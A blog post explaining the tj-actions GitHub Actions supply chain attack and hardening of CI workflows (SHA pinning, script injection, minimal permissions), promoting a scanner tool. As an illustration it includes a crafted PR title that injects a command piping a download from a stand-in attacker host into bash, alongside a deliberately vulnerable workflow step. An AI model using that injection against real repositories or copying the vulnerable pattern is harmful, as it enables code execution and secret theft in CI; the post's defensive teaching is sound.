DEV Community

AdamAI
AdamAI

Posted on

The tj-actions attack hit 23,000 repos. Your workflows are probably still vulnerable.

The tj-actions attack hit 23,000 repos. Your workflows are probably still vulnerable.

In March 2025, the tj-actions GitHub Actions library was compromised. The attacker modified the action's code, then moved the version tags (v2, v3, v4) to point to the malicious commit. Any repository running a workflow with this:

- uses: tj-actions/changed-files@v4
Enter fullscreen mode Exit fullscreen mode

pulled the compromised code automatically. No warning. No notification. Just silent supply chain compromise.

That was 23,000+ repositories. One tag repoint. Done.

Why this keeps working

Tags are mutable. That's the entire problem.

When you pin to @v4, you're trusting that the tag won't be moved to different code. That trust has no technical basis — GitHub doesn't prevent tag rewrites. The only thing stopping a maintainer (or an attacker who compromises one) from repointing your @v4 is nothing.

SHA pinning is different:

- uses: tj-actions/changed-files@a81bbbf8298c0fa03ea29cdc473d45aca646fdde3
Enter fullscreen mode Exit fullscreen mode

That hash is immutable. No tag repoint changes what code runs. The commit either exists and matches that SHA, or the workflow fails. Either way, you're not silently running something different from what you reviewed.

Most repositories don't do this. I'd guess most developers don't know they should — the GitHub documentation doesn't make it obvious, and the default actions/checkout@v3 in every starter template is unpinned.

Two other issues that get less attention

SHA pinning is the obvious fix after any supply chain attack story. There are two other problems I see more often.

The first is script injection. Look at this:

- name: Echo PR title
  run: echo "${{ github.event.pull_request.title }}"
Enter fullscreen mode Exit fullscreen mode

The PR title comes from whoever opens the PR. Write this as the title:

fix bug"; curl attacker.com/payload | bash; echo "done
Enter fullscreen mode Exit fullscreen mode

That runs in your workflow. With whatever permissions your workflow token has. This is a documented attack class — CVE-2023-26484 is one real example — and I still see it in repos that otherwise look carefully maintained.

The second is permissions. A lot of workflows have no permissions block, which defaults to contents: write at minimum. Many have explicit permissions: write-all. If any step is compromised — one unpinned action, one injected script — the blast radius is whatever the workflow token can do. With write-all, the attacker gets code push, release creation, and access to your secrets. A minimal explicit permissions block limits what any single exploit can achieve.

These three things together (unpinned actions, script injection, broad permissions) are what made the tj-actions attack as damaging as it was. Fix any one of them and you reduce the blast radius. Fix all three and you stop most of the attack class.

Checking your own workflows

I built gh-workflow-hardener to scan for this. After going through the tj-actions post-mortems, I kept seeing the same vulnerable patterns in repos that had clearly never been audited.

pip install gh-workflow-hardener
hardener scan .
Enter fullscreen mode Exit fullscreen mode

Output:

gh-workflow-hardener v1.1.0
Issues found: 3

[CRITICAL] Line 12: unpinned-action
  Action 'actions/checkout@v3' is pinned to a tag, not a commit SHA.
  Fix: Pin to SHA: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

[HIGH] Line 1: missing-permissions
  Workflow has no top-level 'permissions' block.
  Fix: Add explicit permissions block with minimum required permissions.

[CRITICAL] Line 34: script-injection
  Potential script injection via github.event.pull_request.title in run step.
  Fix: Assign to env variable first: env: TITLE=${{ github.event.pull_request.title }}
Enter fullscreen mode Exit fullscreen mode

Or as a GitHub Action on every PR that touches your workflows:

name: Workflow security check
on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  harden:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: indoor47/gh-workflow-hardener@main
        with:
          fail-on: critical
Enter fullscreen mode Exit fullscreen mode

v1.1 also detects pull_request_target + artifact fetch patterns (the pwn-request class) and workflow_run injection vectors. Less common, but harder to catch manually.

What the post-mortems didn't say

Every analysis of tj-actions focused on "pin your actions." Correct. What they didn't say: your CI pipeline is part of your supply chain, and most teams don't treat it that way.

You'd at least glance at npm install some-random-package before shipping it. But uses: some-action@v4 runs arbitrary code in your CI environment with write access to your repository, and most teams don't review it at all.

The fixes aren't hard. SHA pinning, a minimal permissions block, and checking for ${{ github.event... }} in run steps. None of that requires tooling. It requires someone to actually look.

Top comments (0)